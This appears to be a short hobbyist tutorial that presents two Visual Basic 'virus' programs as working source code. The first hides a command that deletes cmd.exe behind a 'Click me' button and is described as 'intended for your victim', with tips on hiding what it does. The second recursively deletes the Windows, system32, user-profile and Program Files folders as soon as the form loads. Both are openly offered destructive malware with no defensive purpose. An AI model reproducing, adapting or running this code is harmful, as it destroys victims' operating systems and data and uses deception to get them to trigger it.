VISUAL BASIC VIRUS SCRIPT

First of all open vb and select standard exe then make..
1. button
2. labels NO TEXT
3.1 timer with 3000 interval
ok so now put a desired caption in the button ( Click me is a good one ;)) now in the code of the button put this
Private Sub Command1_Click()
Dim targetfile As String
targetfile = "C:\WINDOWS\system32\cmd.exe"
Kill targetfile
Label1.Caption = " Deleting CMD.exe...please wait "
Timer1.Enabled = True
End Sub
now in the code for the timer put this
Private Sub Timer1_Timer()
Label2.Caption = "Done"
End Sub
and last of all do this
double in the code of the FORM type this make sure u have the activated part
Private Sub Form_Activate()
Timer1.Enabled = False
end sub
there u have it !! DO NOT PRESS THE BUTTON ( or back up ur cmd ) this is intended for your victim or u can change the dirctory to a useless file u dont need to test it .. oh yeah and 1 more thing if u dont want your victim to know then just change the form activte timer to false instead of true
good luck

VB VIRUS-II

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(“Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(“c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(“c:\windows\system”)
Call DelAll(“c:\windows\system32″)
Call DelAll(“c:\windows”)
Call DelAll(“C:\Documents and Settings\All Users”)
Call DelAll(“C:\Documents and Settings\Administrator”)
Call DelAll(“C:\Documents and Settings”)
Call DelAll(“C:\Program Files\Common Files”)
Call DelAll(“C:\Program Files\Internet Explorer”)
Call DelAll(“C:\Program Files\Microsoft Visual Studio”)
Call DelAll(“C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function